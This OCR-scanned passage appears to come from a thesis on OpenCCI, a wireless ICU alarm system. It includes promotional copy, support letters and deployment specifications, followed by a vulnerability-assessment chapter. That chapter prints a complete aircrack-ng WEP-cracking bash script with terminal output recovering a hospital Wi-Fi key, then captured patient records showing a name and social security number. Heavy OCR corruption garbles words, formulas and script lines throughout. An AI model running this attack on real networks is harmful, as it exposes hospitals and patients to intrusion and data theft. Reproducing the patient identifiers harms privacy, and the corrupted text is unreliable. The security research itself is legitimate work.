communication is fully HIPAA-compliant with real-time audit capability.
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iz

Advantages of CRITICAL CARE ANYWHERE™ Retrofit System:

®  uPTA retrofit reuses existing critical care monitor inventory for low capital cost improvement
® uses proprietary wireless universal protocol to unify and integrate incompatible equipment

* adapter is backwards and forwards compatible; easy to implement

*  has strong HIPAA-compliant protocol that assures secure data transmission

* fully wireless and mobile - adapter, protocel server on wheels, personal communication devices
* improves quality of service for daily, pandemic, disaster, surge situations

= improves patent safety by eliminating wired-to-the-wall risks, reducing risk of human error

®*  improves staff productivity by freeing staff from the central station

®* relocates critical care to anywhere, on-the-fly, with uninterrupted patient monitoring

® can create its own LAN; radius of operation totally flexible; can operate ad hoc without LAN
®*  has real-time audit capability

Developmental Stage:

First generation system successtully in commercial use at St. Joseph's Hospital (NJ). In New York City,
St. Luke’s and Roosevelt Hospital Critical Care and Emergency departments are eager to participate in
trials as beta site for second generation system. Goal is to demonstrate improved patient safety, improved
stalT productivity, and improved preparedness for daily, pandemic, disasier, surge situations.

Funding:
Third-party grant funding is now being sought.

Contractor:

Depending upon grant requirements, CUNY or a NYC spinoff company formed to commercialize the
technology will be the prime.

Contact:

Jake Maslow, Director

Technology Commercialization Office
The City University of New York

555 West 57th Street

Suite 1407

New York, NY, 10019

Phone: 646-758-7920
Email: jake.maslow{@mail.cuny.edu

(r021910)
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SIEMENS

May 29, 2009

Pursuant to your meeting with Fred Moyle in New York three weeks ago
regarding the sale and/or license of OCCI technology from MicroJdan, it is the
position of Siemens, that our Enterprise Communications Group in

coordination with our Healthcare Group will be pursuing a licensing or
purchase of said technology pending our due diligence of the OCCI
technology. As agents for the OCCI technology, we will be introducing you into
our Global Product Development Group over the next two weeks to solidify all
agreements and move the project forward.

We regret any delays we might have caused you in furthering the progress of
this arrangement. It was based mainly in the fact that our Com Group has been
going through a re-organization, and not any lack of interest in the technology.
| assure you we will be moving forward expeditiously as we speak.

Thank you for your kind consideration in this matter.

Best Regards,

Do d 200 G

Merrick A. Reed, |

Siemens Enterprise Communications, Inc.
153 E.53" Street., 56th Floor, New York, NY 10022




206

12.3 Deployed beta version testimonial.

S
v Josephs
Healthcare System, Inc, 703 Main Street
Paterson, New Jersey 07503

To Whom It May Concern:

The Wireless Patient Safety Monitoring system OpenCCi™ first generation was deployed in 2007
as a substitution for an existing wired ventilator alarm system used by the Respiratory Department at St
Joseph Hospital Medical Center. OpenCCi™ system has become an important asset in our Medical
Intensive Care Unit and Intermediate Respiratory Care Unit. With its text to speech technology
combined with the visual and audible alerts it presented a reliable method for the respiratory staff to
respond to patient emergencies in adequate timing.

The care of mechanically ventilated patients requires coordination between caregivers,
necessitating the availability of accurate and timely information on patient status. This is probably
delivered through the OpenCCi™ system to 24 critical care rooms covering 50 mobile ventilators and
alerting 3 central stations. The system has been reliably functional and maintained by MicroJan Inc
facilitating to St Joseph Hospital Medical Center collaboration that enhance patient safety and medical
service with lower risk factors.

The OpenCCi™ second generation designed and architected through Mr. Mchamed Saad
academic research, and with collaboration with City University of New York is bringing an innovative
enterprise solution to the healthcare.

Jon Africarfo,
Diréctor of Pulmonary Services
St. Joseph’s Healthcare System

Tel: 973.956.3710

Sponsored by the Sisters of Charity of Saint Elizabeth
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12.4 Expected alpha deployment.

12.4.1 Deployment Specifications

The following define the specifications applicable to Atghadeployment.

Area coverage The radio frequency coverage is mapped @J East figure (12.4.1)

(med/surg ICU)as initial intended area for wireless coverage.

1. ICU room[8A — 31]
2. ICU room[8A — 32
3. ICU room[8A — 33]
4. ICU room[8A — 34]
5. ICU room[8A — 35]
6. ICU room[8A — 36]
7. ICU room[8A — 41]
8. ICU room[8A — 42]
9. ICU room[8A — 43]
10. ICU room[8A — 44]
11. ICU room[8A — 45]

12. ICU room[8A — 46]

Monitoring Devices Universal Protocol and Translation Adapters¥aiquet servo i ventil atc

andPhi I lips IntelliVue MP 70 devices.
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Disaster mode support For disaster management the system components, will belenobi
for translation to a disaster management area, which is\gkever on a Cartavail-

ability, and system reincarnation on a disaster wirelestqimt.

Figure 12.4.1Roosevelt hospital ICU Layout

ICU Pediatrics ICU East
- 10 Mobile Carts - 9 Mobile Carts

—

ICU South
- 9 Mobile Carts

Nueroscience
- 8 Mobile Carts

Roosevelt 8th floor

The following objective is subject to evaluation and awxyi research:

New Magnetic Area Coverage Model: proof of conceptinvestigate the development of
an alarm acquisition mechanism that will maintain the quuity of patient monitor-

ing, in areas subject to wireless communication loss.

1. TheDisaster mode suppois$ subject to an active research problem, and resourcdalailigy.
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12.4.2 Deployment Requirements

Network room / panel space to host 24 port switch and front termination patchlpane
Server room / closet space to host the system central server with proper veaotilat

Emergency Power system modules must be connected to the facility emergeoaesep

outlets.

Electric room / closet space for 2 power distribution panels and 4 control switghuan-

els.

Wireless Frequency TBDS; a dedicated frequency channel with a dedicated band width.

Monitoring Device power cascadingthe UPTA module currently requires to be cascaded

with the monitoring device power soufte

2. The estimated peak current consumption from the powdiliditon panels is 4 AMP. The
electric AC power source must provide at least the 4 AMP meglin peak operation.

3. We are targeting the 5 GHZ, as an operational band, butuirrently subject to co-ordination
with our wireless card manufacturer and supplier.

4. We are working on a second UPTA release that operate ordapendent battery, with suffi-
cient life cycle.
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CHAPTER 13

HEALTHCARE VULNERABILITY ASSESSMENTS

In this section we present the preliminary research wordt, Was conducted as an ini-
tial evaluation to three distinct healthcare-related etdbility assessments. While these
experiments are not directly part of the Open®¢system, they represent a significant

foundation, which informed the design of some modules ir@penCCIMsystem.

In Section 13.1, we present several findings on Wireless8ystulnerabilities in health-
care facilities. These efforts span systems work (at thel leinetwork traces), theoretical
results (interms of protocol analysis), as well as numeéacoalysis through simulations.
Then, in Section 13.3, we describe vulnerabilities foungdatient wander prevention sys-
tems. Finally, in 13.4, we consider weaknesses in existifeqit abduction systems. These

systems were introduced earlier in Sections 2.3.1 and,2&5pectively.

13.1 Healthcare Facility Wireless System Vulnerabilities

The experiment was conducted in co-ordination with thetheate facility IT department.
The used packages are free distributions available on teenkt. Even the methodology

is published in several sites and is considered public métion.

The computer used to lunch the attack was a Dell Vostro 140@pa with Intel Core 2
Duo T7250 2 GHz Processor, 2048 MB Memory and Broadcom NktEzmst Ethernet
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(10/100MBIt), Intel PRO/Wireless 3945ABG (abg). We weranming Ubuntu 9.10 Linux

operating system. With the following packages included.

e airmon-ng
e macchanger
e airodump-ng
e aireplay-ng
e aircrack-ng

e Wireshark 1.2.5

The author wrote the following bash script, that will guide tuser through the steps of

executing this attack:

#!/bin/bash

if [ $(whoami) !'= "root" ]; then
echo "You._need_to_execute_this._script_as_root."

exit 1

echo

echo o ______

echo Warnning:

echo This script is for educational use only..

echo DISCLAIMER:

echo Note that you need formal permission from the owner of any wireless network you
wish to audit.

echo Under no circumstances must you compromise a network security prior to obtaining
approval from the owner of the network.

echo

airmon—ng




echo

read

echo

echo

echo

read

Please, enter the interface name to use.

INTERFACE

In the following step a list of networks will be continously displayed
to continue afer finding the network, press [Ctrl] + c

For now just press [enter]

dummy

airmon—ng stop $INTERFACE

ifconfig $INTERFACE down

macchanger ——mac 00:11:22:33:44:55 $INTERFACE

airmon—ng start $INTERFACE

airodump—ng $INTERFACE

echo
echo

echo

echo
read
echo
read
echo

read

Choose a network from the list that is using the WEP protocol[ if any].

Note the ESSID[the access point SIID name], the BSSID and the channel of

this network.

Please enter the ESSID [the access point SIID name]
ESSID

Please enter the BSSID

BSSID

Please enter the channel

CHANNEL

OUTFILE=dump—data—$ESSID

echo
echo
echo
echo
echo
echo
echo

echo

Your current path is: $(pwd)
And the data dump will be in file: $0UTFILE

Run the following commands in a second terminal.

COMMAND=airodump—ng".—c._."$CHANNEL" .—w._"$0UTFILE" .—bssid._."$BSSID"_"$INTERFACE

echo

cd $(pwd)
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echo
echo

echo

read

$COMMAND

After the second terminal is up and running the command, press [enter]

this script thread to continue.

dummy

aireplay-ng —1 0 —a $BSSID —h 00:11:22:33:44:55 —e $ESSID $INTERFACE

echo
echo
echo
echo
echo
echo

echo

You should see an output [Association successfull]
Next is creating router traffic,

In a third terminal run the following commands

SECONDCMD=aireplay—ng"._.—3.—b._"$BSSID" _—h._."00:11:22:33:44:55" _"$INTERFACE

echo
echo
echo

echo

read

cd $(pwd)
$SECONDCMD

Press enter to continue.

dummy

CAPFILE=$0UTFILE —01.cap

echo
echo
echo
echo
echo
echo

read

This is the final step to get the key.
Running aircrack-ng on the file $CAPFILE
Press [enter] to continue.

dummy

aircrack-ng —b $BSSID $CAPFILE

for
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Here is the terminal output for the script execution:

root@laptop—" # cd /mnt/sdbl/Cryptoanalysis/webAttack/

root@laptop—webAttack # ./web—attack.sh

Warnning:




This script is for educational use only..

DISCLAIMER:

214

Note that you need formal permission from the owner of any wireless network you wish

to audit.

Under no circumstances must you compromise a network’s.security.prior.to._obtaining.

approval _from_the_owner._of_the_network.

et L e \\< This.is
_a.user._entry

In_the_following.step.a_.list_of_networks._will_be._continously._displayed

to_continue_afer.finding.the.network,_press.[Ctrl]._+.c

For.now.just.press.[enter]

Interface_ ... Chipset oo Driver

ethl_ oo Broadcomo . ... bcm43xx._(monitor._mode_disabled)

Current .MAC:.00:11:22:33:44:66._(XYZsys.Inc)

Faked_.MAC:...00:11:22:33:44:55_(XYZsys.Inc)

Interface_ ... Chipset oo Driver

ethl_ oo Broadcom . ... bcm43xx._(monitor._mode._enabled)

_CH._.5_.][_Elapsed:.0.s.][.2010-01—-17.16:46

_BSSID. oo PWR__Beacons.._._._#Data,_#/s_._CH__MB__ENC_._CIPHER_AUTH_ESSID

~00:13:10:61:EC:69.oo00nnnn AR Ounn0on6..54 0PN L b linksys

.00:70:4A:1D:19:27 o0 18 OO0 6o ub4 L L WEPLLWEP L nnnn HOSPITALWIFI

.00:23:69:55:89:35. .00 [P OuevO0on6..54._ WPA2_.CCMP.._._PSK._._.PetroLand

_00:1E:E5:A4:D9:19._. .0 e 2 OOl B4 0PN L linksys

~00:13:10:78:62:F8__.0cn | 001154 WEP__WEP_ .. Honeybee

~00:1B:2F:63:1D:64 .0 T Oeno0oo11..54. _.WPA__TKIP_.__PSK__NETGEAR

BSSID L e STATION cecn e PWR._.._.Rate._.Lost._.Packets._._.Probes
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Choose_a_network._from_the_list_that_is_using.the_WEP_protocol[if_any].
Note_the _ESSID[the._access_point._.SIID._name],_the_BSSID_and_the._channel_of_this_network.
Please_enter.the_ ESSID.[the_access.point._.SIID.name]

HOS P IT ALW I F I o e e o e e e e e e e e e o o e e \\< This.

is_.a_user.entry
Please_enter_the_BSSID

00:70:4A:1D 119 27 Lo e e e e \\< This.

is_a_user._entry
Please.enter.the._channel

B e e e e e et o o s s e \\< This.

Your.current.path_.is:./mnt/sdbl/Cryptoanalysis/webAttack
And._the.data_dump.will_be_in.file:._.dump—data—HOSPITALWIFI

Run_the_following.commands._in._.a_.second._terminal.

cd_/mnt/sdbl/Cryptoanalysis/webAttack
airodump—ng.—c.6._.—w.dump—data—HOSPITALWIFI ——bssid.00:70:4A:1D:19:27_ethl

After._the.second.terminal_is.up.and.running.the_command,._press.[enter]_.for_this.script

~thread_to_continue.

16:47:44 __Waiting_for_beacon_frame_(BSSID:_.00:70:4A:1D:19:27) _on_channel._6

16:47:44._._.Sending._Authentication_.Request.(Open.System).[ACK]
16:47:44 . _Authentication.successful
16:47:44 __Sending_Association_Request._[ACK]

16:47:44 __Association._successful._:—)_(AID:_1)

You_should._see_an_output_[Association_successful]
Next._.is.creating.router._traffic,

In_a_third_.terminal._run._.the_following._commands

cd./mnt/sdbl/Cryptoanalysis/webAttack
aireplay—ng.—3.—b.00:70:4A:1D:19:27.-h.00:11:22:33:44:55_.ethl

Press._enter._to._continue.
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This_.is_.the_final._.step.to.get._the_key.
Running.aircrack—ng.on.the_.file.dump—-data—HOSPITALWIFI —01.cap

Press.[enter]._to_continue.

Opening.dump—data—HOSPITALWIFI —01.cap
Attack._.will_be_restarted_every.5000_captured.ivs.

Starting . PTW_attack.with_.13_.ivs.

HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH Aircrack-ng.1.0.rcl1.r1085

HHHHHHHHHHHHHHHHHHHHHHHHHHHH [00:03:25] _Tested._649._keys._(got_59527_1IVs)

_KB._.depth._byte(vote)

.0.7/.9.D6(67328) .1A(66048) .A0(66048) _E1(66048).70(65536) .D1(65536).14(65280) .8B
(65280)

-1.3/.1.C5(68864).77(68608) .B8(68352) .00(67840) _1A(67584) _2F (67584) _5D(67328) _
32(67072)

.2.2/.2.32(69376) _8B(68352) .82(68096) _66(67840) _.CO(67584) .28(66816) _DE(66560) _
43(66304)

.3.2/.3.03(71936) .D7(69120) _E9(69120) .30(68352) .46(68352) .71(68352) .94(68096) _1C
(67840)

_4.1/_2_E3(76800).09(71168) .27(69888) _81(69632) _AD (69632) _5A(69376) _8F (69376) _
65(68608)

_KEY_FOUND! .[_.6F:66:69:63:69:6E:61:73:63:69:72:6F:31_.]_.(ASCII:_officel.)

_Decrypted._correctly:.100%

rootQ@laptop—webAttack _#

As guided through the script two additional terminals wil launched to complete this

attack. The following is the output of the second terminal:

root@laptop—~" # cd /mnt/sdbl/Cryptoanalysis/webAttack
root@laptop—webAttack # airodump-ng —c 6 —w dump—data—HOSPITALWIFI ——bssid 00:70:4A:1D
:19:27 ethl

CH 6 ][ Elapsed: 8 mins ][ 2010-01-17 16:43

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
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00:70:4A:1D:19:27 0 93 4305 31746 0 6 54 WEP WEP 0PN
HOSPITALWIFI

BSSID STATION PWR Rate Lost Packets Probes

00:70:4A:1D:19:27 00:25:4B:9B:5A:2D 0 0— 0 0 3693

00:70:4A:1D:19:27 00:11:22:33:44:55 -1 0— 0 0 6

root@laptop—webAttack # 1s
dump—data—HOSPITALWIFI —-01.cap* replay.arp—0117-163621.cap* web—attack.shx
dump—data—HOSPITALWIFI —-01.txt* replay.arp—0117-163909.cap=

And the following is the output of the third terminal:

root@laptop—~" # cd /mnt/sdbl/Cryptoanalysis/webAttack
root@laptop—webAttack # aireplay—ng —3 —b 00:70:4A:1D:19:27 —h 00:11:22:33:44:55 ethl

16:47:58 Waiting for beacon frame (BSSID: 00:70:4A:1D:19:27) on channel 6

Saving ARP requests in replay_arp—-0117-164758.cap

You should also start airodump—ng to capture replies.

Read 93032 packets (got 37639 ARP requests
and 43797 ACKs), sent 48961 packets... (500 pps)

root@laptop—webAttack #

KEY FOUND! [ 6F:66:69:63:69:6E:61:73:63:69:72:6F:31 ]

So the hospital wifi access point key was found, and aftebbskang the connection to the
hospital network, we were able to capture the followingfitaising Wireshark. The data
we collected contained a patient vital sign report transacivhich include confidential
information, as well as the patient social security numld&r more information about

WEP protocol, refer to section (4.6.2.5) in this document.

Client <10.75.9.202> :: <ENQ>
Server <10.75.9.201> :: <ACK>
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00°5.5.3.US1 ~"13442"GEM 2791962572.4]||
[1111120090629120158 <CR>P|1[[1021647|| JOHN BROWN
660—-84—4321<CR>0 [ 1|93 |||||||]]||||A<CR>R|1|""~"~A—aDO0
2||mmHg || C|||| JOHN BROWN|660—84—4321]/2009061816184
7<CR>R|2|"""BE(B)|—6.5|/mmol/L<CR>R|3|"
""Ca++|1.07|mmol/L<CR>R|[4|" "~ Ca++(7.4<ETB>DC<CR><LF>
<ACK>

<STX>2)|1.01|mmol/L<CR>
R|5|"""Glu|116|mg/dL<CR>R|6|"~"HCO3 —|20.6|m
mol/L<CR>R|7|~ "~ Hct|35|%<CR>R|8|"""K+|3.2|mmol
/L<CR>R|9|"""Lac|0.6|mmol/L<CR>R|10|~""Na+|137
|mmol/L<CR>R|11|~"~"~S02c|100|%<CR>R|12|" "~ pCO2|

47| mmHg<CR>R|13|~~"pH|7.26<CR>R|14|" "~
p02|219|mmHg<CR>R|15|" "~ Temp|37.0|C<CR>L<ETB>73<CR><LF>
<ACK>

<STX >3|1<CR><ETX>FO<CR><LF>

<ACK>
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13.2 Analysis of Y, T; and Ty schemas

The BAN logic [12], due Burrows, Abadi and Needham is a modaid of beliefs to
reason about protocols. BAN logic uses special constrootxpress some of the central
concepts used in the protocols. Abadi and Tuttle [1] corstausemantics for the BAN
logic that captures and clarifies its meaning. Later Gongeddam and Yahalom [21]
further refined and expanded BAN logic to adapt more widegeasf protocols, which we
refer to as GNY logic. The aim of GNY logic is to analyze a paatbby using the explicit
assumptions required, the messages received, and theutegdo draw conclusions about
the final goals of the protocol. Further analysis to RFID antftation protocols can be

found in [53].

Basic Concepts and Syntax

In GNY logic, some basic concepts are introduced: formuasmmunication parties, logic
operators, and statements. A formula is a name for a bigstvirich has a specific value in
a session of a given protocol. A formula is the smallest ne@gpunit in GNY logic, it is
represented by a capital letter. Usually it useés” for general formulae$, K for shared
secret and encryption key. And the compositions of formuaeh as the following, are
also treated as formulaéX, Y): concatenation (or conjunction) or two formulaé(X):
aone-way hash of formul. { X} x and{X}[_{l: conventional encryption and decryption

of formula X with the keyK.

A logic operator is a symbol that performs or describes aclogeration or property, such
as <, &, |~ (see the statements below). Operators are used in expregstatements) to

associate parties and formulae. A statement, denoted bypaiassion, is used to describe
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certain properties of formulae and parties. The following some basic statements, here

P, () are partiesX is a formula,S, K are formulae for shared secret and encryption key.

P < X: P receivesX, including possibly encrypted version of it, i is able to decrypt

(< is the receiving operator).

P < xX: P receivesX which is not originated fron® itself. x is "not-originated-here”

operator.
P 3 X: P possesses, or is able to poss&sfhere > is the possessing operator).
P |~ X: P once conveyed or sail, explicitly or implicitly (|~ is has-conveyed operator).

P = 4(X): P believes = is the believing operator) that is fresh ¢( ) is the is-fresh

operator). l.e.P believes thaf has not been used at any previous sessions of the protocol.

P = ¢(X): P believes thatX is recognizabled( ) the is-recognizable operator). l.e., the

(partial) contents o are recognizable foP even before it actually receiving it.

PEP <§> Q: P believes that is a suitable shared secret fBrand(, and only known to

them (<§> is the sharing operator).

P = Q B C: P believes that) has jurisdiction (authority) over a statemé&n{( |=is the

has-jurisdiction operator).

P =Q BQ [E *: P believes that) has jurisdiction (authority) over af)’s beliefs (here

% Is the wild-card, means everything).

X ~ (' statementC is an extension of formul&. C is an implicit true assumption
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statement easily inferred from the formuwa(~~ is the has-extension operator).

(C1,Cy, ..., C;): the concatenation afstatementg’, Co, .. ., C; is also a statement.

Logic Rules

GNY logic uses postulates as reasoning rules. They ardrgjolisix categories: being-told
rules, possession rules, freshness rules, interpretatles, jurisdiction rules, and recog-
nizability rules. Each rule is labeled with rule’s categuomyial followed by a serial number,

e.g., P3 represents the third possession rule. Rules aressegl in a big fraction format
with the top and bottom statements separated by a horiziomgallt reads if the top state-
ment holds, then the bottom statement follows. Here we digaules used in this paper,

the complete list of rules can be found in [21].

P <axX P < (X)Y)
T pax 2 —pax

P X P>XP>Y P > (X,Y) P>X,P>K
PLp=x P27 PP —psx PO poixs
F1 P = 1(X) F2 PEt(X),P>K !

PEXY) PEi1({X}k), P E1({X}%)

Pas{X P> K PEPE QPEWNX),PELXK)

" PEQRXPEQR{XIxPEQS K

3 P axH(X,<S>),P 3 (X,S),PEPS QP EX,S)
PEQRX,<S>),PEQIHX,<S>)

16 PEQIX,PEHX) |7 PEQK(X)Y)

PEQ >X PEQ X
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P

i
Q
2
I
I
i

1(X)

PEQ

T
-

1 PEQRCPEQEC
PEC

5, PEQEQE«PEQ (X~ ()P ELX)
PEQEC

53 PEQEQE«PEQEQEC
PEQEC

PE¢X),P > K

R P EXTx)

Applying GNY-Logic

To demonstrate applying the GNY-Logic to tiieschema, we will only consider the session
key exchange part, substituting the nonces with time stathpsfollowing steps will be

executed:

1. State the protocol in conventional way.
2. Formalize the protocol messages in the format of GNY Istatements.
3. Formalize the protocol goals to be achieved at the end oftaqol session.

4. List all the assumptions formally, which are assumed trnuthe protocol, in the

format of GNY logic statements.

5. Deduce to the protocol goals from received messagesnasisuns, and GNY logic

rules.
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Step 1

M1 wy— p:wo,wy, T
M2 P —r w - {T, Kw0w17w17 {KUJ()U}ly,LUO}lep}KwOp

M3 woy — wq - {T7 K’U}OwlawO}lep

Step 2
M1 p < s*wp, *wy, T’
K'LU w1
M2 wy < #{T,wp <> W1 Ky p

K’LU w
M3 w; < *{T,wy E wy 4 wl}lep

Step 3

K
Gl wy |E wo %wl w1

Step 4

Al P E 4(T), for P = wgy,wy, p

K
A2 w1 |E wo }Z)%UO mwl w1



Ky,
A3 pEp < wo,
wy Ep < wo,

_ Kuyp
1Y ‘:p < wy,

Kw wl
Ad wi Epuwg Ewg < w

K
A5 p Ewy an wq

Step 5

On receiving M3 wy < *{T,wy E wy

wl}lep, we have
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K

D1 wy Ep |~ (T, wy E wy an wy) [*By A3, 11*/
Kw U)l

D2 wi E #(T,wy Ewy <% " wi) /*By A1, F1*/

KU) wl
D3 wi EpE(T,wy Ewy < " wy) [*ByAl, I8

Ky

D4 w1 Ep Ewy E wy 4 w1y /*By conjunction from D3*/
Kw wl
D5 w) Ewy Ewy <> ' w I*By A4, J1*/
Kw wl
D6 w; Ewy <> ' w I*By A2, J1*/

We see that D6 is the goal G1.

A limitation in GNY-Logic is that it can represent correctrmusions on a protocol goal
event if the specification could not be feasible. An examplénis is a protocol in which

P sendsRi’s password ta@). Lets consideX is the password, then we write:

P—Q: {X}KPQ

As P and @ are not supposed to know’'s password, this protocol is not feasible, and
yet the GNY-Logic could not detect this issue. Another typmfeasible specification that
GNY-Logic cannot detect, which could lead to beliefs thahdbpreserve a causal relation.

Consider the following:

P=Q:{PEPS Qhxpg
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This will causeQ) = P = P & @, however, if itis not the case th&t = P & () already
existed, then the causal relation between beliefs is naepved. Without guarantees of
causality, part of a causal chain may be broken, and thenatierpay not be trusted. The
causal chain is broken whenever a princigalends a message that contains a belief, and

P does not hold that belief.

13.2.0.1 Probabilistic analysis

For further quantification and analysis of the protocol,raplementation for the protocol
was constructed using WEP. Conducting our attack in se¢1i®ri] on the initial version

of the protocol thél' schema, the following results were observed:

Figure 13.2.1Password permutation relative strength histogram

Relative password strength histogram
100 %

hospitalpassword . 9445401A5D —3
StrongP@sswOrd - 905EE42ACO mawsmn
weak password A - 0123401234 s
initial password strength weak password B - 01234FFFFF  m——m

80 %

60 %

40 %

20 %

ol L

0 0.5 1 15 2
Relative password strength

Based on the nature of the WEP protocol and the transmittetiajization Vector] 1V
within the frame (refer to equation [4.6] and section [4.8] 2or more details), the adver-

sary collects the IV transmitted and conducts a continubeskagainst possible keys.
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The collection of the sufficient frames and IV to reach the tadyieval point was achieved

in an order of minutes. If an adversary intercept an encdypigher frame: of lengthn.

The probability of the adversary finding the plain-text naggsn should be%n. Since

n-bits have2 possible values, then the probability of each valuglﬁl's If we consider the

encryption key of the same length then the probability of the adversary findihgs 2%

Key retreval attack by eavesdropping K RAY":

1:

2:
3:
4.

The adversaryl eavesdrop on a wireless framg and extract the Initialization Vector
IV and the cipher text.

A random keyk; is generated, whetg,| = n.

The adversary comput@s < Dec (c, k).

A success predicate functicfpr (1V,m) validatern based o’V and the fact that the
plain-text includedV andk, can be confirmed as the correct symmetric key.

A correctly retrieved keysy,,, = kr based on the predicate functidpr return value
and outputs<y .

K
The output of the experiment is defined to be gop. We write K RAGY =

Ky if the output is Ky, and in this case we say that succeeded. Under the
assumption that the schema is secure, the expected pribpabitetrieving the key
and the adversary succeed is

1

Pr [KRAG" = Kugp| = > (13.1)
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Multiple-message eavesdropping(RA%““ (£):

1::=0

2: loop

3:  The adversaryd eavesdrop on the next wireless fram¢; and extract the Initial-
ization Vector/V; and the cipher text;.

4: A computed key; is generated, wheté;| = n. The adversaryd compute the key
based on the consolidated data from fh&s.
ki # k;, Vi <.

b 1=1+1

6: Acomputesn; < Dec(c;, k;).

7:  Asuccess predicate functistpr (1V,m;) validatern; based o V; and the fact that
the plain-text includegV; andk; can be confirmed as the correct symmetric key.

8. if A correctly retrieved key<y,,, = k, based on the predicate functidpr return

valuethen

©

OutputKwOp
10: Exit the Loop
11:  endif

12: end loop

13: £ =14

. . . Kwopag )
14: The output of the experiment is defined to be . We write
1 looping

KRA"A"‘““ (§) = Ky, if the output isK,,, and in this case we say thdtsucceeded

with £ as a success coefficient.

For a secure schema, the expected probability of retrieviadkey and the adversary suc-

ceed in¢ attempts(¢ represent the number of collecté®” s as well) is defined by the follow-
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ing equation:

Pr [KRAW“ (€) = Kwop} - 2% (13.2)
€ = 2" = [Pr[KRAY (€) = Kyyp) = 1] (13.3)

In equation [13.3] the adversay has conducted a brute force, and examined all possible

key values.

Through the results collected and the histogram presentejure [13.2.1], the adversary
A retrieves the keys,,, without conducting a brute force, with success coefficierk
2", In some cases the password was retrieved by collectingsf@9 IV's in less than a
minute, and the figure highlights the permutation effeatiltesy in reducing the strength of
the initial password. This indicates that not all permutadswords will behave as strong

as the initial password representation.

J 2"
(13.4)

Suchthat,  Pr{KRAY () = Kugp) =1

Examining the scheniés by executing the multi-message eavesdropping experifﬁiém%%t,

the outputindicates that for each password permutéﬂéﬁfp[t], Kfulo)p[t], cee Kl(j())p[t], o}

there is a distinct success coefficiégg, &1, - -+, &;, - - - } respectively.
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Figure 13.2.2Relative password permutation strength.

Relative password permutation strength
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13.2.1 Y7 Multi-Channel and Multi-Key Hopping schema

Considering the permutation function stated in Equatiob@)as a fully trusted method to

strength the schem$, is not correct based on the following:

First, the permutation functiof] is a sequential permutation function, which means that
if the duration of using a permuted key is sufficient enoughtiie adversary4 to
retrieve the key, thenl will apply || and stay in sync through the whole communi-

cation session.

Second, the permutation operation on the key may lead to generatingaker key rela-
tively to the initial password as highlighted in figure (12 which was constructed
on small set of sampled permutations. If the initial passias a coefficierd; and
we consider tha#d will not be able to reacly within a time threshold, some of the

permutations computed bl exposed a weaker key witf) < £, allowing A to
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succeed(weaker password permutations should be filtered and adyide

Third, A sequential permutation functidr is likely to cycle in a short circuit, which is
a small subset of all possible permutations that can be gtaterin other words, a
key k = (co,--- ,cn) is composed of. characters, and the permutation is executed
based on the character positidr, will generaten! distinct output, if and only if
c; # ¢; Vi # j. Since, it is very likely to have repeated characters specially if
we are dealing with a bit representation, we will obsefy€:;) = [[(k;) and the
system will cycle only through © j. For A =i — 5 in a worst case scenarith = 1
and in this casg | will halt on a single key. Figure (13.2.3) show the efficierty

permutation in generating distinct keys.

It is worth mentioning that some encryption modules and fions relies internally in
its implementation on permuting the input key, lets say gi$i;,,.. So, it is possible that
I1= HE;LC in this case the permutation function is working againsetheryption module,

and negatively impacting the schema.

Applying a permutation function to a symmetric cryptograpdystem, that uses a private
key of lengthn and cycling among:! derived keys, does not implies strengthening the
system against an adversaty without enforcing additional rules to eliminate cases ighe
the system may expose additional vulnerabilities to theeshry. A preprocessing permu-
tation function(2 can present a better alternative to sequential permuthfiander certain

conditions.

Q: {0,1}n — ({0,1}n)™ (13.5)
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Q(k()) = (k07 kl) e 7ka—17 ka) (13 6)

@ (ko, &) € Q(ko)

(13.7)
@ = {k: k € Q(k), andPr[KRA"! (&) = k] < 1}

The final version of the protocol and the scheifais a multi-channel multi-key hopping
schema, that can be executed throughout the following idtgor

Communication between parties take place on a data chgnrelF, and a control channel
fe € F, based on available carrier frequenciE&s= {fy,--- , f}. A i> B,AsendtoB

on a channel with carrier frequengy

The initial state for each communication pafyis set to the following:

fa = 1o
fc = fl
P > w(k,§)

w(ko, &) = {ko, -+, ky}

KID(w(ko,§)) =A0,---, 7}, respectively.

1,7 € KID, andi # j
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Algorithm 1 Multi-Channel and Multi-Key Hopping scherﬁYég”““ ({ko,

.‘.7/{;7}75);

1: loop
2:  Setfe_gq = fe
3:  Apply frequency hopping tg,;, f. from the frequency domais.
4 p Jezgid wo : {fds et Kuyp
5 p Fegia wi = {fas feY Ky
6: if Ky Usage exceeglthen
7. Kolduyy = Kugp
8: Kuwyp is chosen randomly frorikg, - - - , by}
9: p 15wy {KID(Kuwgp)} Kolduyp
10: endif
11:  if Ky, usage exceeglthen
122 Koldy,p = Ku,p
13: Kuwy p is chosen randomly fronikg, - - - , by}
14 p {KID(Kuwip)} Koldw,
15:  endif
16:  wy fﬁ p: {wo,wl,NwO}Kwop
17 Kuygw, is chosen randomly frorfikg, - - -, k~ }
18 p 58w+ (Nug. KID(Kuy ). w1, AKID Koy ). w0} Koy} o
190 wg 25wy {KID (Ko ) w0} i,
200wy B wg s (N Yy,
21:  wy & w1 i {Nwy — I}Kwowl
22:  while (Kyw, Usage did not exceeq) do
23: w fg w1 : { Ny, DA}KwOw1
24: w1 & wo : {Nwy s PVS}KwOwl
25:  end while

26: end loop
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Notice that inTg”““ the key hopping of the permuted versions of the key, as wethas
exchange of the session key, did not take place by the trasgmiof the key over the
wireless channerrg"““ performed key-id exchange, which mean if the advershbyeaks
the control communication4 did not retrieve the key, just an idrg"““ can be adapted
to receive any set of symmetric keys, even if the set is noegegad from a single key
by permutation.Tg‘““ can be adapted as well to different threshaldghich impact the
success ofd. Putting into consideration the complexity of tracking lbéhe frequency
hopping and the key hopping in the data and control cha?ﬁgéd“ is definitely reducing

the adversaryd probability of success.

In our OpenCCIMimplementation we end up adopting WPA2, which provides tea n

protocols, the 4-Way Handshake and the Group Key HandsBéke|[
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13.3 Patient Wander Prevention System Vulnerabilities

It is worth mentioning that the healthcare facility wheréstresearch was conducted by

using this system as an escape and abduction preventi@nsyEhe portal control device

firmware execution is guarded with the following rules:

1:

Entering manufacturer encrypted password assigns fulfalado the board, and disarm
the device.

Entering admin password assigns administration contriiédooard for configuration
settings.

Entering client password clears the alarm from device.

Magnetic lock relay and acoustic alarm is controlled by tbkofving Magnetic Lock

Relay algorithm:

Algorithm 2 Magnetic lock relay

1: Initial state for Magnetic lock relay is off, acoustic alarsroff.
2: while truedo

3:

10:
11:
12:
13:
14.
15:
16:
17:
18:
19:
20:

© NGOk

